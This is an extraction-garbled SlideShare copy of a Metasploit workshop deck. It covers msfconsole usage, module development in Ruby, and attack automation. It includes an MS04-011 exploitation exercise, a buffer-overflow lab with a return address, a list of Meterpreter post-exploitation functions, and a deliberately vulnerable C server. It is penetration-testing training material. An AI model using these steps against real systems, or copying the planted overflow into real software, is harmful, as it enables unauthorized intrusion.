Metasploit Basics


Published on

Published in: Technology, Education

Metasploit Basics

  2. 2. Exploitation Frameworks: Metasploit 3.x Workshop Steven McGrath 1 What to Accomplish Understanding Metasploit as a user Understanding the basics of Ruby Understanding Metasploit as a developer Understanding Metasploit as a expert 2 What this is... To help better an understanding of Metasploit To learn how to use the framework in exploit research To learn how to use Metasploit in pen-testing. 3
  3. 3. What this is NOT... l33t h@x0r class Reasons why Metasploit is better than everything isn’t h@x0ring this network. 4 You should have... Backtrack Image (supplied) VMWare Player/Workstation/Fusion (supplied) A laptop to run all of this on (NOT supplied) 5 Starting off What is Metasploit? How is it used? What are other tools? What benefits does Metasploit have? 6
  4. 4. What is it? Metasploit is an exploitation framework, NOT a vulnerability scanner. 7 How is it used? Primarily an aide in exploitation research. Secondarily used in pen-testing. 8 What are other tools? CORE Impact CANVAS 9
  5. 5. Benefits? Price CORE Impact = $25,000 USD a year CANVAS = $1244 USD + Support Flexibility Open Source = More Options 10 Downsides? Flexibility Most Metasploit payloads are windows specific. Completeness The framework is under active development, however there are still holes in the framework that need to be addressed. 11 Metasploit as a User 12
  6. 6. What to cover? Control Interfaces Basic usage 13 msfconsole Primary interface into Metasploit Shell-like (with readline) Will run external commands Dynamic interaction with Metasploit Automation capable 14 msfconsole Automation? Automation is achieved through resource files. They contain a list of commands that msfconsole should run as if the user had inputted them and startup of the console. 15
  7. 7. msfconsole Configuration files? msfconsole by default has the ability to store per- user configuration data. This is typically stored in ~/.msf3 by default. 16 msfconsole set unset load unload use show save sessions jobs route Basic Commands: info irb loadpath back check exploit run route 17 msfconsole - set/unset set - Sets a variable to the specified value. Also can show a list of variables that can be set when run alone. unset - Will “unset” or remove the value from a variable or series of variables. setg - Global equivilent of set. unsetg - Global equinilent of unset. NOTE: local variables will override globals. 18
  8. 8. msfconsole - load/unload load - Will load a plugin from the framework. You can also pass values to optional variables at load. unload - Will unload a plugin. loadpath - Adds a module path for the framework to search and load modules. Useful for custom modules. 19 msfconsole - show/use show - Will display lists of modules: auxilary, exploits, payloads, encoders, and nops. use - Use changes your context within the framework. back - Returns you to the global context. 20 msfconsole - save save - Saves your current state (e.g. current module and set variables) 21
  9. 9. msfconsole - sessions sessions - Session interations... -i - Interacts with the specified session. -l - Lists the active sessions. 22 msfconsole - jobs jobs - Will display information in reguards to backgrounded jobs (typically client-side exploits) -l - List the active jobs. -k - Kills the specified job. 23 msfconsole - route route - Allows you to interact with the framework routing table (useful in “pivoting”). 24
  10. 10. msfconsole - info info - Will display information about the specified module(s). 25 msfconsole - irb irb - Provides an interactive ruby shell into the framework. This is useful for live scripting and/or modification to code. 26 msfconsole - check/exploit check - Checks to see if the specified target is vulnerable to an exploit. exploit - Will launch an exploit on the specified target. run - Will launch an auxiliary module against the specified target(s). NOTE: Normally checks are not required to exploit a target. 27
  11. 11. msfconsole - rcheck/rexploit rcheck - Will first reload the module from disk before running the check. rexploit - Same as rcheck, but will launch the actual exploit. 28 msfcli Commandline Interface Arguments are passed to tell Metasploit what to do Traditionally used for automation 29 msfcli Example: ./msfcli exploit/example RHOST= LHOST= PAYLOAD=windows/shell/reverse_tcp E 30
  12. 12. msfcli ./msfcli -h for more info 31 msfweb Web Interface to Metasploit Ruby on Rails application The primary interface for Windows 32 33
  13. 13. 34 msfgui Still under HEAVY development GTK GUI to Metasploit Attempt to make Metasploit more like CANVAS and CORE from the User’s standpoint 35 msfd Network daemon interface. Listens on port 55554 for telnet connections. Useful for sharing a running framework without the hassle of screen. Pivot points Exploits Sessions 36
  14. 14. Before we continue... From this point on we will be assuming msfconsole 37 Exploit Me! Target: Exploit Module to use: windows/smb/ms04_011_lsass Payload: Anything you choose! Feel free to ask your classmates and myself :) 38 Metasploit as a Developer 39
  15. 15. Metasploit as a Developer This will be a hands-on workshop. You WILL be writing your own exploit before we leave. Due to constraints, we will be focusing viewing a few example modules for code examples before the workshop portion. 40 Starting off... Getting to know Ruby A general understanding of how Metasploit 3.x is built Example Code Lab 41 Getting to know Ruby Interpreted, not compiled. Object Oriented by design The Red-headed stepchild of Python, Perl, and SmallTalk 42
  16. 16. Getting to know Ruby Hello World: #!/usr/bin/env ruby # This is the hello world Application var1=quot;Hello World!quot; print quot;n#{var1}nquot; print var1, quot;nquot; 43 Getting to know Ruby - Lab Extend the Basic TCP Server in your materials to respond to any input given. 44 Getting to know Ruby - Lab require 'socket' port = 44455 host = localhost server =,port) while(session = server.accept) while !session.eof? session.puts quot;R: #{session.gets}quot; end end 45
  17. 17. Metasploit’s Structure - Dirs data - Data files for the framework documentation - Examples, Guides, etc. external - Non-framework software lib - Framework Libraries modules - Module root for the framework plugins - Plugin root for the framework scripts - Script root for the framework tools - Development tools 46 Metasploit’s Structure - Dirs modules auxiliary - Auxiliary module root encoders - Encoder module root exploits - Exploit module root nops - NOP module root payloads - Payload module root 47 Metasploit’s Structure What is the difference between an exploit and an auxiliary module? Exploit modules will actually deliver a payload Auxiliary modules cover anything else 48
  18. 18. Metasploit’s Structure 49 Rex Ruby Exploitation Library Derived from Metasploit 2’s Pex libraries Located in lib/rex Rex is the base that most of the framework builds upon 50 Rex Subsystems Architectures Encoding Exploitation I/O Logging Nops Non-Protocol Polymorphic Payload Parsers Blocks Post-Exploit Protocols Services Clients Services Sockets Text Manipulation User Interface 51
  19. 19. Framework Core Core interface into the framework Handles the core aspects of the framework Module interaction (loading, unloading, etc.) Exploitation handling Plugins Sessions Located under lib/msf/core 52 Framework Core Classes Framework Datastore EncodedPayload EventDispatcher ExploitDriver Module Auxiliary Encoder Handler OptionContainer Exploit Nop Payload Plugin Session 53 Framework Base Thin interaction layer between Framework Core and Modules, Plugins, and User Interfaces 54
  20. 20. Digging In... Now that we have a basic understanding of how the framework is built, it’s time to dig into the plugins and modules themselves... 55 Metasploit Plugins Plugins extend the framework dynamically. Plugins are NOT modules. All of the User Interfaces are essentially plugins to the framework. 56 Metasploit Plugins Example Plugins Database msfd Threading support Session Session IPS filters hooks taggers 57
  21. 21. Metasploit Plugins module Msf class Plugin::Example < Msf::Plugin module ExampleExtension def example_ext quot;This is a Testquot; end end def initialize(framework, options) framework.extend(ExampleExtension) end end end 58 Framework Modules Modules are used for specific uses within the framework. Modules use an extensible, well-defined interface for interaction within the framework. All modules inherit from Msf::Module. 59 Metasploit Modules Common Hash Keys Name String Description String Version String Author Array Arch Array Platform PlatformList Ref Array License String 60
  22. 22. Example Module require 'msf/core' module Msf class Auxiliary::Scanner::HTTPScanner < Msf::Auxiliary include Exploit::Remote::Tcp include Auxiliary::Scanner def initialize super( 'Name' => 'HTTP Scanner', 'Author' => 'Maniac <>', 'Description' => %q{Scans for HTTP Servers in RHOSTS.} ) register_options( [ Opt::RPORT(80),;SENDSTRINGquot;, [ false, quot;String to send if port is openquot;, quot;HEAD / HTTP/1.0nnquot; ]) ], self.class ) end 61 Example Module def run_host(ip) connect sock.put(datastore['SENDSTRING']) data = sock.get_once print_status(ip + quot;nReceived: quot; + data + quot;nquot;) disconnect end end end 62 Framework Modules - Lab Use the Lab module template and extend it to buffer overflow with the following information Host: Return: 0xbfbfed20 76 Bytes + [target.ret].pack('V') + payload.encode 63
  23. 23. Metasploit as an Expert 64 Tasty Good Stuff! Automation Metaterpreter 65 Attack Automation 66
  24. 24. Attack Automation Attack automation can happen in a number of different ways: Psudo-Automated Full Automation 67 Psudo-Automation Resource Files for msfconsole. Custom shell scripts that interact with msfcli. Custom auxiliary modules. db_autopwn Existing Nessus Data Existing Nmap Data 68 Full Automation db_autopwn db_nmap - Will scan a network with nmap and then exploit based on what it put into the database. 69
  25. 25. Metaterpreter 70 Metaterpreter Extensible - extensions can be written to enhance metaterpreter. Powerful - Flexible protocol and channelized communication. Stealthy - No disk access and no new process. In Memory DLL injection 71 Metaterpreter - OMGWTF! This is how it works: 1.Metasploit sends first stage payload. 2.Payload talks back to Metasploit. 3.Metasploit sends second stage containing a DLL injection payload. 4.Metasploit sends the metaterpreter server DLL 5.DLL injection payload loads the server DLL in memory 6.Metaterpreter client and server communicate over the establiched channels. 72
  26. 26. Metaterpreter - UI client.ui Method Description disable_keyboard Disables the Keyboard disable_mouse Disables the Mouse enable_keyboard Enables the Keyboard enable_mouse Enables the Mouse idle_time Returns idle time in seconds 73 Metaterpreter - Filesystem client.fs.dir Method Description chdir(path) Change Directories delete(path) Delete Directory download(dst, src, resursive Download Content to Local entries(path) Show Contents of Directory getwd Get the Working Directory mkdir(path) Make Directory upload(dst, src, recursive) Upload Content to Host 74 Metaterpreter - Filesystem client.fs.file Method Description download(dest, files) Downloads Files to Local expand_path(path) Expands Env Strings in Path stat(path) Returns info on file upload(dest, files) Uploads Files to Remote 75
  27. 27. Metaterpreter - Filesystem Method Description (file, [r,w]) Opens file close Closes file read(length) Reads X bytes from file seek(offset, whence) Seeks to offset in file write(buffer) Writes buffer to the file 76 Metaterpreter - Networking Method Description add_route(s, n, g) Adds route each_interface Displays interfaces each_route Displays routes get_interfaces Returns array of interfaces get_routes Returns array of routing table remove_route(s, n, g) Removes route 77 Metaterpreter - Config client.sys.config Method Description getuid Returns Process UID revert_to_self Calls RevertToSelf Returns System Name and sysinfo Host Information 78
  28. 28. Metaterpreter - Power client.sys.power Method Description reboot(reason) Reboots Host shutdown(force, reason) Shuts down Host 79 Metaterpreter - Processes client.sys.process Method Description each_process Displays running processes execute(path, args, opts) Executes binary getpid Returns current process kill(pid) Kills process processes Returns array of processes open(pid, perms) Opens process 80 Metaterpreter - Registry client.sys.registry Method Description close_key(hk) Closes an open key create_key(hk, bk, perm) Creates new key delete_key(hk, bk, recursive) Deletes key delete_value(hk, name) Deletes reg value enum_key(hk) Returns array of subkeys open_key(hk, bk, perm) Opens a reg key query_value(hk, name) Returns reg value set_value(hk, name, type, val) Sets reg value 81
  29. 29. Metaterpreter - Memory process.memory Method Description allocate(len, prot, base) Allocates memory free(base, len) Deallocates memory lock(base, len) Lock pages in memory protect(base, len, prot) Changes page protectors query(base) Queries info on an address read(base, len) Reads memory write(base, len) Writes memory 82 Metaterpreter - Threads process.thread Method Description create(entry, param) Creates a new thread each_thread Displays running threads get_threads Returns array of threads 83 Metaterpreter - Images process.image Method Description each_image Displays loaded images get_images Returns array of images get_procedure_address(b, n) Gets address of proceedure load(path) Loads DLL unload(base) Unloads DLL 84
  30. 30. Q&A 85
  31. 31. maniac_scanner.rb 2007-09-04 require 'msf/core' module Msf class Auxiliary::Scanner::ExampleScanner < Msf::Auxiliary # Exploit mixins should be added first include Exploit::Remote::Tcp # Scanner mixin should be included last include Auxiliary::Scanner def initialize super( 'Name' => 'Generic Scanner Template', 'Author' => 'Maniac <>', 'Description' => %q{ Connect to every host specified in the RHOSTS network range, send a probe, read a response, and print that response to the screen. } ) register_options( [ # Specify the predefined RPORT option Opt::RPORT(25), # Specify a new option containing the string to send to the server;SENDSTRINGquot;, [ false, quot;The string to sendquot;, quot;HEAD / HTTP/1.0nnquot; ]) ], self.class ) end # Work with a single IP address at a time def run_host(ip) # Call the connect() method provided by the TCP mixin # This is equivalent to connect() connect - 1/2 -
  32. 32. maniac_scanner.rb 2007-09-04 sock.put(datastore['SENDSTRING']) data = sock.get_once print_status(ip + quot; Received: quot; + data) # Call the disconnect() method provided by the TCP mixin # This is equivalent to disconnect() disconnect end end end - 2/2 -
  33. 33. 2007-09-05 #!/usr/bin/env ruby ##### Example TCP Server Lab ##### # In this lab you will be modifying the # code to return any input to the client. require 'socket' # Lets define the port and host. port = 44455 host = localhost # Create a new server connection. server =,port) # Lets stay active as long as we are # accepting connections. while(session = server.accept) # As long as we do not terminate # our client, lets stay within this # context. while !session.eof? # Something should go here ;) end end - 1/1 -
  34. 34. example.rb 2007-09-04 require 'msf/core' module Msf class Exploits::Linux::Example < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Example Buffer Overflow Exploit', 'Description' => %q{ }, 'Author' => [ 'Maniac' ], 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'Version' => '$Revision: 4961 $', 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 200, 'StackAdjustment' => -3500, }, 'Platform' => 'linux', 'Targets' => [ [ 'linux', { 'Ret' => 0xbfbfec80 } ], ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5432), ], self.class) end - 1/2 -
  35. 35. example.rb 2007-09-04 def exploit connect buf = pattern_create(2000) sock.put(buf) handler disconnect end end end - 2/2 -
  36. 36. Predefined Variables Ruby arguments $! Exception information -c Check $@ Array of backtrace -d Debug $& String of last match -e One Line $` String left of last match -h Help $‘ Str right of last match -n gets loop Types Expressions Variables $+ Last group of last match -rL require L 12345 if expr [then] local $N Nth group of last match -v verbose elsif expr 123.45 @instance $~ Info about last match -w warnings [then] 1.23e-4 @@class $= Case insensitive flag -y comp debug else end 0xFF00 CONSTANT $/ Input record separator unless expr 0b01100 $ Output record separator Reserved Words [then] Operators and 1..5 $, Output field separator else alias Precedence end 1...5 $. Line number of last file and :: expr if expr ‚a‘..‘z‘ $> Default output BEGIN [] expr unless ‚a‘...‘z‘ $_ Last input line of string begin expr ** ‚string sq‘ $* Command line args break case expr +-!~ „string dq“ $0 Name of script when comp case */% else „#{expr}“ $$ Process number class end << >> „trn“ $“ Module names loaded def while expr [do] & %q(string sq) $stderr Standard error output end defined? |^ %Q(string dq) $stdin Standard input until expr [do] do > >= < <= end %(string dq) $stdout Standard output else <=> == === != do <<id string id elsif =~ while expr :symbol Regex END && do /regex/opt . all characters until expr end .. ... %r|regex| [] any single char in set for var in expr ensure = ( += -= ) [do] [1, 2, 3] [^ ] any single char not in set false not end %w(1 2 3) * zero or more for and or expr.each [do] %W(1 2 #{expr}) + one or more end if {1=>2, :s=>‘v‘} ? zero or one break next redo in Constants retry | alteration module __FILE__ Exceptions () Group next __LINE__ begin Module/Class ^ Beginning of line or str nil ENV rescue ex => module Name $ End of line or string not var ARGF end else {1,5} 1 to 5 or ARGV class Name ensure A Beginning of a string redo end end b Word boundary rescue class Name < StandardError Sup B Non-word boundary retry ZeroDivisi- end onError d digit, same as [0..9] return class << obj RangeError D Non-digit self end SecurityError s Whitespace super def IOError S Non-whitespace name(args...) then end IndexError w Word-character true def inst. RuntimeError W Non-word-character undef name(...) z End of a string end unless Z End of string, before nl public until protected when private while attr_reader attr_writer yield attr attr_accessor alias new old © 2006 — available free from
  37. 37. Object Array File Obj#class -> class Array::new (int [,obj]) -> array File#new (path, modestring)-> file Obj#freeze -> object Array#clear File#new (path, modestring) do |file| ... end Obj#frozen? -> true or false Array#map! do |x| ... end File#open (path, modestring) do Obj#inspect -> string Array#delete (value) -> obj or nil |file| ... end Obj#is_a? (class) -> true or false Array#delete_at (index)-> obj or n File#exist? (path) -> t or f Obj#methods -> array Array#delete_if do |x| ... end File#basename (path [,suffix]) -> Obj#respond_to? (sym) -> true or Array#each do |x| ... end string false Array#flatten! -> array File#delete (path, ...) Obj#to_s -> string Array#include? (value) -> t or f File#rename (old, new) Array#insert (idx, obj...)-> array File#size (path) -> integer String Array#join ([string]) -> string r Read-only, from beginning Str#[num, num/range/regx] -> str Array#length -> integer r+ Read-write, from beginning Str#capitalize! -> string Array#pop -> obj or nil w Write-only, trunc. / new Str#center (int [,str]) -> str Array#push (obj...) -> array w+ Read-write, trunc. / new Str#chomp! ([str]) -> str a Write-only, from end / new Str#count -> integer a+ Read-write, from end / new Hash Str#delete! ([string]) -> string b Binary (Windows only) Hash#clear Str#downcase! -> string Hash#delete (key) -> obj or nil Str#each ([str]) do |str| ... end Hash#delete_if do |k, v| ... end Dir Str#each_line do |line| ... end Hash#each do |k, v| ... end Dir[string] -> array Str#gsub! (rgx) do |match| ... end Hash#has_key? (k) -> true or false Dir::chdir ([string]) Str#include? (str) -> true / false Hash#has_value? (v) -> t or f Dir::delete (string) Str#index (str/reg [,off]) -> int Hash#index (value) -> key Dir::entries (string) -> array Str#insert (int, string) -> string Hash#keys -> array Dir::foreach (string) do |file| Str#length -> integer ... end Hash#length -> integer Str#ljust (int [,padstr]) -> str Dir::getwd -> string Hash#select do |k, v| ... end -> Str#rindex (str/reg [,off]) -> int array Dir::mkdir (string) Str#rjust (int [,padstr]) -> str Hash#values -> array Dir::new (string) Str#scan (rgx) do |match| ... end Dir::open (string) do |dir| .. end Str#split (string) -> array Dir#close Test::Unit Str#strip! -> string Dir#pos -> integer assert (boolean [,msg]) Str#sub! (rgx) do |match| ... end Dir#read -> string or nil assert_block (message) do ... end Str#swapcase! -> string Dir#rewind assert_equal (expected, actual [,msg]) Str#to_sym -> symbol assert_in_delta (exp, act, dlt Str#tr! (string, string) -> string DateTime [,message]) Str#upcase! -> string DateTime::now assert_kind_of (klass, object DateTime::parse (str) [,msg]) Kernel DateTime::strptime (str, format) assert_match (pattern, string [,msg]) block_given? DateTime#day assert_nil (object [,msg]) eval (str [,binding]) DateTime#hour assert_no_match (pattern, string raise (exception [,string]) DateTime#leap? [,msg]) fork do ... end => fixnum or nil DateTime#min assert_not_equal (expected, actual proc do ... end => proc DateTime#month [,msg]) print (obj) DateTime#sec assert_not_nil (object [,msg]) warn (msg) DateTime#wday assert_not_same (expected, actual [,msg]) DateTime#year assert_respond_to(obj, method [,msg]) assert_same (expected, actual [,msg]) Ruby: Doc: © 2006 — available free from
  38. 38. vuln1.c 2007-09-04 #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define LISTEN_PORT 5432 int main() { char buf[64]; int sock; int peersock; struct sockaddr_in my_addr; int reuse = 1; if((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror(quot;socketquot;); return(1); } if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)) == -1) { perror(quot;setsockoptquot;); return(1); } memset(&my_addr, 0, sizeof(my_addr)); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(LISTEN_PORT); if(bind(sock, (struct sockaddr *)&my_addr, sizeof(my_addr)) == -1) { perror(quot;bindquot;); return(1); } if(listen(sock, 5) == -1) { perror(quot;listenquot;); return(1); } if((peersock = accept(sock, NULL, 0)) == -1) { perror(quot;acceptquot;); return(1); } - 1/2 -
  39. 39. vuln1.c 2007-09-04 if(read(peersock, buf, 4096) == -1) { perror(quot;readquot;); return(1); } return(0); } - 2/2 -